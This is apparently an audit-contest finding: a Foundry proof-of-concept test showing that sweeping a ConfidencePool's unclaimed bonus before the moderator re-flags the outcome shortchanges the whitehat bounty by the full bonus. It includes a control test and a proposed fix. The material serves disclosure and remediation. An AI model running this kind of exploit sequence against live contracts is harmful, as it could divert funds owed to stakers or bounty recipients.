Two tests, same setup, one variable changed — both pass. The focused exploit is shown first for reading; the full self-contained file follows for running.
function test_sweep_frontruns_reflag_shorts_whitehat() public {
_stake(alice, 100 ether);
_contributeBonus(bob, 100 ether);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertFalse(pool.claimsStarted(), "re-flag window still open");
assertEq(pool.riskWindowStart(), 0, "no risk window observed");
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), 100 ether, "full bonus diverted to recovery");
assertEq(pool.totalBonus(), 0, "live bonus zeroed");
assertFalse(pool.claimsStarted(), "re-flag STILL allowed after sweep");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), 100 ether, "BUG: bounty missing the 100 ether bonus");
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), 100 ether, "whitehat under-paid by the full bonus");
assertEq(token.balanceOf(recovery), 100 ether, "bonus permanently diverted to recovery");
}
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
SELF-CONTAINED MINIMAL TEST DOUBLES
(Mirror the contest's own test/mocks/* — matching selectors is enough
for the pool's address-cast call sites; inlined so this file is a
single drop-in that needs only the in-scope src/ contracts + OZ.)
contract MockERC20 is ERC20 {
constructor() ERC20("Mock", "MOCK") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
contract MockAttackRegistry {
IAttackRegistry.ContractState internal state;
function setAgreementState(IAttackRegistry.ContractState s) external { state = s; }
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) { return state; }
function getAttackModerator(address) external pure returns (address) { return address(0); }
}
contract MockSafeHarborRegistry {
address internal attackRegistry;
mapping(address => bool) internal validAgreement;
function setAttackRegistry(address a) external { attackRegistry = a; }
function setAgreementValid(address a, bool v) external { validAgreement[a] = v; }
function getAttackRegistry() external view returns (address) { return attackRegistry; }
function isAgreementValid(address a) external view returns (bool) { return validAgreement[a]; }
}
contract MockAgreement {
address internal agreementOwner;
mapping(address => bool) internal _inScope;
constructor(address owner_) { agreementOwner = owner_; }
function owner() external view returns (address) { return agreementOwner; }
function setContractInScope(address a, bool s) external { _inScope[a] = s; }
function isContractInScope(address a) external view returns (bool) { return _inScope[a]; }
}
THE POC
contract SweepReflagStandaloneTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant SCOPE_ACC = address(0xC0FFEE);
uint256 internal constant BASE_TS = 1_750_000_000;
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal pool;
address internal agreement;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal attacker = makeAddr("attacker");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
function setUp() public {
vm.warp(BASE_TS);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(address(this));
agreement = address(agreementContract);
agreementContract.setContractInScope(SCOPE_ACC, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACC;
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
scope
);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
function test_sweep_frontruns_reflag_shorts_whitehat() public {
_stake(alice, 100 ether);
_contributeBonus(bob, 100 ether);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertFalse(pool.claimsStarted(), "re-flag window still open");
assertEq(pool.riskWindowStart(), 0, "no risk window observed");
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), 100 ether, "full bonus diverted to recovery");
assertEq(pool.totalBonus(), 0, "live bonus zeroed");
assertFalse(pool.claimsStarted(), "re-flag STILL allowed after sweep");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), 100 ether, "BUG: bounty missing the 100 ether bonus");
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), 100 ether, "whitehat under-paid by the full bonus");
assertEq(token.balanceOf(recovery), 100 ether, "bonus permanently diverted to recovery");
}
function test_control_reflag_pays_whitehat_full_pool() public {
_stake(alice, 100 ether);
_contributeBonus(bob, 100 ether);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), 200 ether, "full pool is the bounty");
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), 200 ether, "whitehat gets principal + bonus");
}
}
Latch outcome finality when a bonus sweep removes real reliance value (the full-bonus, no-observed-risk-window branch), so a later re-flag cannot promise a good-faith CORRUPTED bounty the pool can no longer pay.
This preserves the existing intent that a dust donation must not block the moderator's re-flag window: ordinary excess/donation sweeps (observed risk window, live stakers) never enter this branch, so they still do not latch finality.